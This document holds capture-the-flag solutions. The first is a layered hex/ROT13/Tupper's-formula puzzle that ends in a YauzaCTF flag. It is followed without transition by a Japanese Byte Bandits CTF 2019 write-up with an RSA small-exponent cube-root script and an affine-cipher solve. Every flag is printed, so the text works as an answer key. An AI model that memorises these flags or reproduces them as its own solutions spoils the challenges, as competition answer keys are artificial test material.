55 6e 69 72 20 6c 62 68 20 72 69 72 65 20 75 72 6e 65 71 20 6e 6f 62 68 67 20 52 69 72 65 6c 67 75 76 61 74 20 53 62 65 7a 68 79 6e 3f 20 56 67 27 66 20 6e 79 66 62 20 78 61 62 6a 61 20 6e 66 20 47 68 63 63 72 65 27 66 20 66 72 79 73 2d 65 72 73 72 65 72 61 67 76 6e 79 20 73 62 65 7a 68 79 6e 2e 20 0d 0a 47 75 72 20 73 62 65 7a 68 79 6e 20 6a 6e 66 20 71 72 73 76 61 72 71 20 6f 6c 20 57 72 73 73 20 47 68 63 63 72 65 20 6e 61 71 20 6e 63 63 72 6e 65 66 20 6e 66 20 6e 61 20 72 6b 6e 7a 63 79 72 20 76 61 20 47 68 63 63 72 65 27 66 20 32 30 30 31 20 46 56 54 54 45 4e 43 55 20 63 6e 63 72 65 20 62 61 20 65 72 79 76 6e 6f 79 72 20 67 6a 62 2d 71 76 7a 72 61 66 76 62 61 6e 79 20 70 62 7a 63 68 67 72 65 20 74 65 6e 63 75 76 61 74 20 6e 79 74 62 65 76 67 75 7a 66 2e 20 47 75 76 66 20 63 6e 63 72 65 20 71 76 66 70 68 66 66 72 66 20 7a 72 67 75 62 71 66 20 65 72 79 6e 67 72 71 20 67 62 20 67 75 72 20 54 65 6e 73 52 64 20 73 62 65 7a 68 79 6e 2d 74 65 6e 63 75 76 61 74 20 63 65 62 74 65 6e 7a 20 71 72 69 72 79 62 63 72 71 20 6f 6c 20 47 68 63 63 72 65 2e 0d 0a 4e 61 71 20 61 62 6a 20 6a 72 20 6a 6e 61 67 20 6c 62 68 20 67 62 20 6e 70 64 68 6e 76 61 67 20 6a 76 67 75 20 76 67 21 20 3a 29 0d 0a 0d 0a 4e 61 71 20 61 62 6a 20 6c 62 68 20 75 6e 69 72 20 67 75 76 66 20 61 68 7a 6f 72 65 3a 0d 0a 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 31 31 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 31 30 30 30 30 30 30 30 30 30 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 31 31 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 31 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 31 30 31 30 30 31 30 30 30 30 30 30 30 30 30 30 30 31 30 30 31 30 31 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 31 31 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 31 31 31 31 31 31 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 31 31 31 31 31 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 31 31 31 31 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 31 31 31 30 31 31 31 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 31 31 31 31 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 31 31 31 31 31 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 31 31 31 31 31 31 31 31 31 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 31 31 31 31 31 31 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 31 30 30 30 31 30 30 30 31 30 30 30 30 30 30 30 30 31 30 30 30 31 31 30 30 31 30 30 30 30 30 30 30 30 31 30 30 31 31 30 31 30 31 30 30 30 30 30 30 30 30 30 31 31 31 30 30 30 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 31 31 31 31 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 31 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 31 31 31 30 31 31 30 30 30 30 30 30 30 30 30 31 30 30 30 30 31 30 30 31 30 30 30 30 30 30 30 30 31 30 30 30 30 31 30 30 31 30 30 30 30 30 30 30 30 30 31 31 31 31 30 31 31 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 31 31 31 30 31 31 31 30 30 30 30 30 30 30 30 30 30 30 30 30 31 0d 0a 46 62 2c 20 6a 75 6e 67 27 66 20 6c 62 68 65 20 79 6e 66 67 20 66 67 72 63 3f
******** 04 ********
Unir lbh rire urneq nobhg Rirelguvat Sbezhyn? Vg'f nyfb xabja nf Ghccre'f frys-ersreragvny sbezhyn. 

Gur sbezhyn jnf qrsvarq ol Wrss Ghccre naq nccrnef nf na rknzcyr va Ghccre'f 2001 FVTTENCU cncre ba eryvnoyr gjb-qvzrafvbany pbzchgre tencuvat nytbevguzf. Guvf cncre qvfphffrf zrgubqf eryngrq gb gur TensRd sbezhyn-tencuvat cebtenz qrirybcrq ol Ghccre.

Naq abj jr jnag lbh gb npdhnvag jvgu vg! :)



Naq abj lbh unir guvf ahzore:

0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011000000000000001000000000000000100000000000111111000000000000000010000000000000000010000000000000000011000000000111100000000000010000100000000000100001000000000000100100000000000011111100000000000000000000000000000000000000000000001111100000000000100000000000000001000000000000000001111100000000000100000000000000000000000000000000011000100000000000101001000000000001001010000000000010001100000000000000000000000000000111100000000000010000100000000000100001000000000000100100000000000011111100000000000000000000000000000111111100000000010000000100000000100000001000000001000000010000000010000000100000000000000000000000000000000010000000000000000100000000000000001000000001111111110000000000000000100000000000000001000000000000000010000000000000000000000000111111111000000000000100010000000000001000100000000000010001000000000000000010000000000000000000000000000010000000000000111011100000000010000000100000000000000000000000000000000000000000000000000000000000111111111000000000000000100000000000000010000000000000001000000000000000100000000000011111111100000000000000000000000001000000010000000011111111100000000100000001000000000000000000000000001111111000000000100000001000000001000000010000000010000000100000000100000001000000000000000000000000010000000100000000100010001000000001000110010000000010011010100000000011100011000000000000000000000000000000000000000000100000000000000001000000000000000010000000000000000100000001000000000111111110000000000000000100000000011110000000000001000010000000000010000100000000000011110000000000000000000000000000001111011000000000100001001000000001000010010000000001111011000000000100000001000000000111011100000000000001

Fb, jung'f lbhe ynfg fgrc?
******** 05 ********
Have you ever heard about Everything Formula? It's also known as Tupper's self-referential formula. 

The formula was defined by Jeff Tupper and appears as an example in Tupper's 2001 SIGGRAPH paper on reliable two-dimensional computer graphing algorithms. This paper discusses methods related to the GrafEq formula-graphing program developed by Tupper.

And now we want you to acquaint with it! :)



And now you have this number:

0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011000000000000001000000000000000100000000000111111000000000000000010000000000000000010000000000000000011000000000111100000000000010000100000000000100001000000000000100100000000000011111100000000000000000000000000000000000000000000001111100000000000100000000000000001000000000000000001111100000000000100000000000000000000000000000000011000100000000000101001000000000001001010000000000010001100000000000000000000000000000111100000000000010000100000000000100001000000000000100100000000000011111100000000000000000000000000000111111100000000010000000100000000100000001000000001000000010000000010000000100000000000000000000000000000000010000000000000000100000000000000001000000001111111110000000000000000100000000000000001000000000000000010000000000000000000000000111111111000000000000100010000000000001000100000000000010001000000000000000010000000000000000000000000000010000000000000111011100000000010000000100000000000000000000000000000000000000000000000000000000000111111111000000000000000100000000000000010000000000000001000000000000000100000000000011111111100000000000000000000000001000000010000000011111111100000000100000001000000000000000000000000001111111000000000100000001000000001000000010000000010000000100000000100000001000000000000000000000000010000000100000000100010001000000001000110010000000010011010100000000011100011000000000000000000000000000000000000000000100000000000000001000000000000000010000000000000000100000001000000000111111110000000000000000100000000011110000000000001000010000000000010000100000000000011110000000000000000000000000000001111011000000000100001001000000001000010010000000001111011000000000100000001000000000111011100000000000001

So, what's your last step?
******** 06 ********
                                                                                                          
                                                                                                          
                                                                                                          
       *     *                         **** ******* *****   *   *    * ***  **** *****     ***      ** *  
       *     *                        *        *    *      *    **   *  *  *         *      *      *  * * 
        *   *                         *        *    *      *    * *  *  *  *        *       *      *  * * 
         ***   ** *  *  *  ****  ** * *        *    *      *    *  * *  *  *       *        *  **   **  * 
          *   *  **  *  *     * *  ** *        *    ****  *     *   **  *  *      ***       * *  * *  *  *
          *   *   *  *  *    *  *   * *        *    *      *    *    *  *  *        **      * *  * *  * * 
          *   *   *  *  *   *   *   * *        *    *      *    *    *  *  *         *      * *  * *  * * 
          *   *  **  *  *  *    *  ** *        *    *      *    *    *  *  *         *      * *  * *  * * 
          *    ** *   ** * ****  ** *  ****    *    *       *   *    * ***  **** ****   ****   **   ** *  
                                                                                                          
                                                                                                          
                                                                                                          
                                                                                                          
                                                                                                          
YauzaCTF{NIC3Jo8}

Byte Bandits CTF 2019 Writeup

この大会は2019/4/13 0:30(JST)~2019/4/14 0:30(JST)に開催されました。
今回もチームで参戦。結果は556点で319チーム中33位でした。
自分で解けた問題をWriteupとして書いておきます。

Greetings (misc)

IRCのfreenodeで#BBCTFチャネルに入ると、フラグがあった。

05:08 *topic : ByteBandits CTF 2019 | https://ctf.euristica.in | euristica@iiti.ac.in | Please visit https://ctf.euristica.in/rules | flag{Welc0me_t0_Byt3B4ndits_CTF_Y0u_did_y0ur_p4rt}
flag{Welc0me_t0_Byt3B4ndits_CTF_Y0u_did_y0ur_p4rt}

RivestShamirAdleman (crypto)

RSA暗号で、nが大きく、eが小さいため、e乗根で復号する。

from Crypto.Util.number import *
import gmpy

e = 3
c = 56274920108122478990888092521371739605513959053322262229138771723654033167756128122086229722406180593128664696512912311575327724724695863345048713415525599333

m = gmpy.root(c, e)[0]
flag = long_to_bytes(m)
print flag
flag{nO_paDDing00_rsa}

oldschool (crypto)

古典暗号をいろいろ試すと、Affine暗号だったようだ。https://www.dcode.fr/affine-cipherで復号。

A=3,B=23	THEFLAGISDIFFRENTFROMTHAFFINECIPHR

数字は抜けているので埋め、小文字・大文字を暗号と合わせる。

Csj mexp vz gvmM3wjkCMwnHCs3XmMvkjDvQs3w
The flag is difF3renTFroMTh3AfFineCiPh3r
flag{difF3renTFroMTh3AfFineCiPh3r}